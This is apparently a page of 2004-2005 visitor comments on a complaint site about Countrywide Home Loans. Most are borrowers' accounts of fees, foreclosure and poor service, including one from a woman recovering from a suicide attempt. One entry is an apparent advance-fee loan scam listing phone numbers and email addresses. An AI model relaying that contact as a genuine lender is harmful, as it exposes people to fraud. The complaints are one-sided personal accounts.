I JUST CAME UPON THIS SITE AND TO BE HONES I NEVER HAD A PROBLEM WITH THEM, HAD THEM FOR 3 YRS AND JUST RECENTLY TOOK OUT A EQUITY LOAN. AGAIN NO PROBLEM. CUSTOMER SERVICE WAS IN FACT HELPFUL AND ALWAYS THERE TO ASSIST WHEN I CALLED AND HAD QUIESTIONS. IM NOT GOING TO SAY THEY R THE BEST BUT U HAVE TO ADMIT NOT EVRYONE IS GOING TO HAVE PROBLEMS OR THEY WOULD BE OUT OF BUISNESS. THEY R OK IN MY BOOK..


Left: June 17, 2005 By: yy In: yy

Nice grammar Rick. I hate CHL as well. However you should use punctuation and learn how to spell.


Left: June 14, 2005 By: rick In: uncasville ct

well i see im not alone here i too have been skrewed by country wide i took ill and fell behind and tryed to make it up but found it imposable to do even when they told me you owe this much send it in and you will be all set well i did and soon after got a leter saying i was still behind due to all kinds of fees encluding a fee for someong to drive by my house to make sure it is still there well due to takeing ill i was unable to catch up and filed chapter 13 to keep the house i have been in chapter 13 for 2 years now and they filed papers to forclose with the court saying i was 4 months behind plus late and laywer fees i proved to them with my checks that i was not late and made all that payments after looking at the back of my checks it was takeing them a mounth and a half to cash our checks and of course this made late charges again and they have the nerv to want me to pay them plus there laywer fees i could go on and on about them but i wont i wanted to post this my laywer and my self are in contack with some very big ( rich ) laywers who have the money to fight them and plan a class action suit against them i found this link today and called my laywer right away to have him look in here we are definitly going to file it and need more people so be looking for my laywers to contack you or maybe post there contact info for you to contact them this shit has to stop hell its un american hang in there keep every little record ya have with them and i hope to see us all sticking it back up there ass like they did us i got my house thru the offic of vetrens affirs and so ya know they all wind up at country wide when ya by them that way also i have found out when ya by the house the way i did country wide thinks and treats people who buy like i did as sub standerd folks


Left: May 19, 2005 By: In:

Thank you so much for this website. Our realtor recommended Countrywide so strongly that we went to them for our mortgage. If you think Countrywide is bad, try going to a realtor who works hand-in-hand with Countrywide. Countrywide gave us an interest rate upon which we based our offer. As soon as the offer was accepted, Countrywide upped the interest rate so much that we knew we could no longer afford the house, but we had signed an offer to purchase that allowed that rate of interest (on the advice of Countrywide, who said it didn't really mean we would ever have to pay that higher rate, it was just something to put on the offer). So, we went to a bank, and they offered us a much lower rate. The bank called the realtor to start the loan process. The realtor turned around and called Countrywide, who then called us, to offer us a much, much better rate. Okay. But then, Countrywide wouldn't move. Not even an application to start the loan process. Each time I called they tap-danced about computers and "in the system," etc. We had no application, no written estimate, nothing. Twelve days before closing I called our local bank in a panic. They were able to do the loan at that interest rate and cut Countrywide out completely. They said if we had waited a couple more days it would have been too late. We believe that Countrywide was holding out until we had no other options before they would give us a loan, and the terms of it would have been at their pleasure.
THEN, we found out our realtor had not disclosed an encroachment. This alone could have been a deal-breaker, but we wanted the property so we worked out a deal with the man who owned the property on whom we were encroaching. We also got an attorney, and asked him to take over the closing, which we had been planning to do at the realtor's office. WELLLLLL---Here it gets fun. Countrywide and our realtor had worked into the purchase all sorts of "creative financing," so that we, the buyers, would be credited with approximately $3,500 at the closing, which would have been at the realtor's office, where we wouldn't have known what the hell he was doing with the money. But our lawyer and our bank did exactly that; they credited us with the $3,500. In fact, they ran out of places to credit us, so the seller ended up writing us a personal check for the balance. Our realtor was shocked when he found this out at closing. We had to stay an hour while everyone in his office and the lawyer's office looked for money, calculators clicking, pages flying. The realtor went outside and talked on his cell phone. We overhead him shout, "Well then we're screwed!" I kid you not! At another point in this comedy our lawyer asked him, "Well, where's the earnest money? I don't have it. Do you have it?" And the realtor said, distractedly, "Well yes, I have it, butÖ." and went back to playing with his calculator.
The way it finally turned out for us was beautiful. The seller actually ended up paying for part of our down payment, but it didn't cost him anything because Countrywide had him raise the asking price in order to credit us, in order to be able to get their thousands at closing. We paid NO FEES whatsoever, and walked away with a small check to the good. The seller paid a very low commission to the realtor (because the realtor quoted him a small commission, apparently because he, the realtor, was going to get a cut of the "creative financing" done by Countrywide at closing.) Watching this comedy of errors was truly enjoyable; however, it followed a month of anxiety and fear. I don't recommend Countrywide to anyone. And if your realtor recommends them, please be warned.



Left: April 08, 2005 By: Pete In: Bridgeport (Black Rock), CT

I almost forgot to add this...

When I tried to complain to Countrywide, the rep notified the district and regional manager via e-mail. Did I ever get a reply? Dream on!


Left: April 08, 2005 By: Pete In: Bridgeport (Black Rock), CT

Countrywide is horrible! Their people are unresponsive, lazy and just plain incompetent! I was pre-approved for a Countrywide home loan on 12/27/04. From then on, it was difficult to get a phone call returned. I kept reminding the lazy bastards about the day my mortgage commitment was due and they kept telling me, "No problem," when they answered the phone. They never returned lawyer or broker calls. They repeatedly changed their terms, making me jump through all kinds of hoops.

THE DAY the mortgage commitment was due, they called me and said the mortgage guy had appraised the property at $18,000 less than we bid. They didn't even offer to send another appraiser, just shrugged and said they couldn't finance the extra $18,000. They also refused to let me get a private loan from my bank. I told them they failed me and they said, "You could look at it that way or you could look at it like we saved you money." Yeah right! In this area, it's either asking or above -- that's how competitive the market is. The appraiser was from out of town and knew little about the area. We sent in comps, but to no avail. We thought we lost the condo. Fortunately, we got a commitment extension and found another mortgage broker, who arranged for other financing. He sent in a competent appraiser who appraised the place at asking. But he also scalped us. We had to settle for a subprime adjustable with a prepay penalty for under two years (as we watch interest rates go up). It was worth it to get our own home, but I will never use Countrywide and will urge all my friends to turn their backs on Countrywide as well.


Left: March 28, 2005 By: j In:

Im the chairperson in charge of accounting department in united kingdom responsible for given out business,personal,home,car loan/mortgages,i need serious persons only cll me on my office phone
+447831946930 or +2348055964383 or reach me on my contact ad
legalloan@post.com
therealloan@financier.com
City manchester
Region United Kingdom



Left: March 09, 2005 By: craig In: long beach

please read the note the person on 2/27/they wrote that they love counrtywide and that "you will not be able to do nothing about it" this was written on 2/27- this idiot doesn't even have a grip on the english language and basic grammar.why in the world would we consider anything they have to say,other than their input on trailor parks


Left: March 08, 2005 By: MATT BAKER In: ANAHEIM, CA

LOOKING FOR A GOOD EXPERIENCE IN REFINANCING OR PURCHASING. CALL TODAY'S HOME MORTGAGE ASK FOR MATT BAKER 888-276-7100


Left: February 27, 2005 By: In:

Below is a copy of an email sent to the owner aka whiner of this website on Feb 27, 2005 7:54 PM, CST



Hello,



Countrywide is voted the best of the best places to work. Countrywide is also the number one servicer and lender. Countrywide makes dreams come true to those that work hard and understand what it is to be financially responsible.



No matter how many web sites you put up, no mattter how much you whine, you will get no where. Countrywide continues to be number one and you will not be able to do nothing about it. Individuals like you never prosper!



Loving Countrywide,

Anomyous Like yourself.



P.S. If you really supported this site you would not hide from who you really are. At least state your name coward!




Left: December 24, 2004 By: J HODGDON In: PLANTSVILLE

I HAVE HAD NOTHING BUT GOOD EXPERIENCES WITH COUNTRYWIDE. I PAY MY BILLS ON TIME EACH MONTH, THEY SEND ME A STATEMENT EACH MONTH. THEY RECENTLY INFORMED ME OF A WAY TO LOWER MY CURRENT RATE AND GET MY MONTHLY PAYMENT DOWN BY OVER $200 A MONTH.




Left: November 22, 2004 By: Marcia Comoletti In: New Castle

I am at home recovering from a recent suicide attempt caused in part by CHL. I had breast cancer in the summer of 2003. While I was going through my treatments, Hurricane Isabel caused a tree to be blown over on my condo building putting a hole in the roof. I had to move 3 times in 7 months while repairs were being made. I got behind on my mortgage payments - my fault. However, once I was fainlly able to get back on track they wouldn't talk to me. Next thing I knew I was in foreclosure. I ended up out of work all summer dealing with depression and sent them a fax to give permission to talk to my daughter to try to get things straightened out. We were working on a work-out plan with them and the last I knew were a week away from a final decision. This was in Sept. right before I was to go back to work. They had had the paperwork since July. How much more time did they need? Once I was back to work we played phone tag every week. When ever they called my daughter they'd just tell her to have me call. When I'd call the rep working on my case she was never there and I'd have to leave a message on her phone. After a while I'd just hang up and not bother. The next written communication I had from them was taped on my front door - SHERRIFF'S SALE NOVEMBER 9! I tried several ways out of the mess and as soon as I finally got a final figure in a letter from their attorney's office I put in for a withdrawal from my 401K. Had that check come as expected I would have been able to send a money order to the attorney's office. But, the check didn't show up until Mon. the 8th and I was in the hospital by then!! My kids were able to cash it and get a cashier's check for the proper amount and showed up 1/2 hr prior to the sale time at the sherriff's office and got a signed receipt from CHL's attorney. Today, I get a call from a rather rude young man inquiring about my intentions with regard to the mortgage. I said pay the payment due on Dec. 1. To which he replied that I was still in default. I said the H_ _ _ I am. My kids paid the full amount the day of the sale including the exorbinent legal fees and have a signed receipt. Then he said that they did get an e-mail about the payment but they still don't have the money. I told him he needs to talk to the sherriff's office or the attorney and not me. I already did my part and wasn't sending any more until my Dec. payment and hung up. After reading the other stories I'm sure the legal fees were padded - they doubled the amount I owed. I will be refinancing with someone else as soon as I can. I've had enough of CHL.

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